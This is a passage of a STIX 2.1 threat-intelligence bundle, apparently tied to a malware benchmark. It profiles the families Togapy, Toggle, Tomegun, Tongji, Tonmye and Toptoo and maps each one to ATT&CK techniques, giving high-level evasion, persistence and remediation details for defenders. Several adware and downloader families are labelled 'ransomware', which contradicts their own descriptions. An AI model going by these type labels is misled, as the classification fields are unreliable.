      "id": "relationship--73a5ea48-13e4-539b-ba0d-9aa5c36bddbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c57907be-aadb-57ff-a773-ddd353d0825d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toga exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad417d4f-97e3-5912-8d98-c53d7c484921",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c57907be-aadb-57ff-a773-ddd353d0825d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toga exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--051131c6-0f10-5a8b-88c4-f229cc142f7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c57907be-aadb-57ff-a773-ddd353d0825d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toga exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bcbe158b-1009-5d5c-88f3-16cbca6ecbf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c57907be-aadb-57ff-a773-ddd353d0825d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toga exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5228efc-c702-580e-adc9-0370991e842e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c57907be-aadb-57ff-a773-ddd353d0825d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toga exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a5ee5d2c-6dfd-50a6-834e-80ffa3af0cd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Togapy",
      "description": "Trojan:Win32/Togapy is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Togapy</b><br>To an end-user, a Togapy infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Togapy is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Togapy is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Togapy frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Togapy reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Togapy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/togapy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66f21913-52ca-5b11-aed3-fb3036523323",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5ee5d2c-6dfd-50a6-834e-80ffa3af0cd7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Togapy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0a3878b-1a2b-560d-b681-6f1948206432",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5ee5d2c-6dfd-50a6-834e-80ffa3af0cd7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Togapy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42f8dc3c-fe54-5c47-8472-d44339284572",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5ee5d2c-6dfd-50a6-834e-80ffa3af0cd7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Togapy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64c224c3-ba31-5fac-aa8f-601af5edff52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5ee5d2c-6dfd-50a6-834e-80ffa3af0cd7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Togapy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43af5396-a14b-544f-bc73-e376e9883220",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5ee5d2c-6dfd-50a6-834e-80ffa3af0cd7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Togapy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7626773b-c80e-5e48-a0b1-e21617a46e06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Toggle",
      "description": "Toggle (identified across endpoint security vendors as BrowserModifier:Win32/Toggle, Adware:Win32/Toggle, and PUA:Win32/Toggle) is a deceptive adware toolbar and browser modifier framework. Distributed through third-party software installers, free utility downloads, and fake media codecs, Toggle modifies installed browser configurations across Chrome, Firefox, and Edge. It forcibly alters default search providers, start pages, and new tab URLs to redirect queries through affiliated advertising and monetization portals. Toggle injects intrusive banner ads, floating hyperlinks, and pop-up windows into visited web pages. It establishes persistence by configuring startup registry run keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and registers background scheduled updater tasks, constantly collecting browsing navigation and search query telemetry. (Observed samples in benchmark: 20)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/Toggle",
        "Adware:Win32/Toggle",
        "PUA:Win32/Toggle",
        "Toolbar:Win32/Toggle",
        "Win32/Toggle"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Toggle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/toggle"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c086515-fdee-5817-8eee-e587974c646e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7626773b-c80e-5e48-a0b1-e21617a46e06",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toggle exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29e175b3-a9b8-5304-9296-e2773bb3bfed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7626773b-c80e-5e48-a0b1-e21617a46e06",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toggle exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--978fb0e8-8e7a-588f-8b16-684ae1906095",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7626773b-c80e-5e48-a0b1-e21617a46e06",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toggle exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--076005ad-eaf0-5ba3-9cfc-4601a722ba73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7626773b-c80e-5e48-a0b1-e21617a46e06",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toggle exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d3d7423-daf6-5285-b60b-3668e9d66c7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7626773b-c80e-5e48-a0b1-e21617a46e06",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toggle exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--77d76feb-c71c-514e-98b5-183a65c55f91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tomegun",
      "description": "<h3>Executive Summary</h3>\nTomegun is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTomegun is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tomegun operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tomegun ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tomegun receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tomegun infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tomegun executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tomegun frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tomegun",
        "Downloader.Tomegun",
        "Win32/Tomegun"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tomegun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tomegun"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93b494cb-1934-5f4b-8abc-54bbbd458fab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--77d76feb-c71c-514e-98b5-183a65c55f91",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tomegun exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40a82d1e-5e66-56f8-9045-ee7e67cd7ed0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--77d76feb-c71c-514e-98b5-183a65c55f91",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tomegun exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60678d0a-15c7-5672-ad17-4c52d72d8f6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--77d76feb-c71c-514e-98b5-183a65c55f91",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tomegun exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f2de7473-f7b8-5430-a1b9-e90987b3d09a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tongji",
      "description": "<h3>Executive Summary</h3>\nTongji is a family of Adware, Spyware, and Potentially Unwanted Programs (PUPs), frequently originating from Chinese software markets. The term \"Tongji\" translates roughly to \"statistics\" or \"analytics.\" While sometimes bundled with legitimate applications to collect usage telemetry, Tongji frequently crosses the line into malicious territory by aggressively tracking user behavior, intercepting web traffic, and serving intrusive advertisements without informed consent.\n\n<h3>Distribution and Technical Behavior</h3>\nTongji is almost exclusively distributed via deceptive software bundling, commonly hidden within freeware, media players, or game client installers popular in the East Asian market.\n\nOnce active, Tongji integrates deeply into the operating system and web browsers. Its core behaviors include:\n<ul>\n<li><strong>Aggressive Telemetry:</strong> Tongji continuously tracks the user's browsing history, search queries, application usage, and sometimes keystrokes. This data is aggregated and transmitted to remote analytics servers in plaintext or using weak encryption.</li>\n<li><strong>Traffic Interception:</strong> The software frequently installs a local proxy server or malicious browser extensions to intercept web traffic, overlaying legitimate websites with intrusive pop-ups, pop-unders, and sponsored content.</li>\n<li><strong>Browser Hijacking:</strong> It forcibly alters the default search engine, homepage, and new tab settings to redirect all traffic through affiliate-linked portals controlled by the adware operators.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Tongji is not inherently destructive (it does not encrypt files like ransomware), it introduces severe privacy and operational risks. The massive amount of telemetry collected violates enterprise privacy policies, and the injected advertisements are frequently served by low-reputation ad networks, increasing the likelihood of \"malvertising\" and secondary malware infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Tongji executables, hidden scheduled tasks, and persistent registry keys used for tracking.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that frequently bundle this type of spyware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Tongji",
        "Spyware.Tongji",
        "PUP.Tongji"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tongji",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tongji"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74a11352-b1ce-5419-b69f-e9d18cbd18dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2de7473-f7b8-5430-a1b9-e90987b3d09a",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tongji exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e9aa4b1-6e4f-5975-babb-fe7969ece3e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2de7473-f7b8-5430-a1b9-e90987b3d09a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tongji exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30cd46ab-ba8b-5a02-8cf0-6d4f5a18d3f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2de7473-f7b8-5430-a1b9-e90987b3d09a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tongji exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--768a1df9-e31d-5559-8020-59d2a6421bd9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2de7473-f7b8-5430-a1b9-e90987b3d09a",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tongji exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--be0c4240-0819-5f1b-831a-489aa9131978",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tonmye",
      "description": "Tonmye (tracked across antimalware research as Ransom:Win32/Tonmye, Trojan-Ransom.Win32.Tonmye, and Win32/Tonmye) is a destructive crypto-ransomware family targeting Windows systems. Infiltrating endpoints through malicious phishing email attachments, exploit kits, and compromised software repacks, Tonmye initiates system discovery upon execution. It terminates database management engines, productivity applications, and backup software using command-line taskkill to unlock open files. Tonmye enumerates local hard drives, removable USB storage, and connected network shares, encrypting documents, databases, archives, and multimedia files using AES-256 encryption wrapped with an embedded RSA public key. To impede file restoration, Tonmye executes shell commands invoking vssadmin to delete Volume Shadow Copies and uses bcdedit to disable automatic startup recovery, before displaying desktop extortion instructions demanding cryptocurrency payment. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Tonmye",
        "Trojan-Ransom.Win32.Tonmye",
        "Win32/Tonmye",
        "Ransom.Tonmye",
        "Ransom:Win32/Tonmye.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tonmye",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tonmye"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--487e42cb-dd2e-5ed6-a6fd-ef2777b671c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be0c4240-0819-5f1b-831a-489aa9131978",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tonmye exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c3c70ec-921b-5a6e-bd99-0410c7346da9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be0c4240-0819-5f1b-831a-489aa9131978",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tonmye exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4fdeae0-7d8f-575b-b67f-6f2fad8df3cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be0c4240-0819-5f1b-831a-489aa9131978",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tonmye exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8a8d78d-b804-5adc-8867-75f4b863fbba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be0c4240-0819-5f1b-831a-489aa9131978",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tonmye exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75cd88d2-42a9-5fb2-a38b-7b6cc4a4e014",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be0c4240-0819-5f1b-831a-489aa9131978",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tonmye exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e70883f-a96e-5cac-b080-ccc79b39d3be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Toptoo",
      "description": "Adware:Win32/Toptoo is a highly intrusive adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions and affiliate link redirection. Toptoo specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Toptoo (Browser Hijacking)</b><br>To an end-user, Toptoo makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Toptoo is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Toptoo is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts. Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Toptoo often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Toptoo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/toptoo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb472fad-f506-510d-85f0-5f53efac1419",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e70883f-a96e-5cac-b080-ccc79b39d3be",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toptoo exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6214de25-a816-5daf-be6a-54c9e6949ceb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e70883f-a96e-5cac-b080-ccc79b39d3be",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toptoo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4fd9268-495c-55b5-8f8d-67652b635e40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e70883f-a96e-5cac-b080-ccc79b39d3be",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
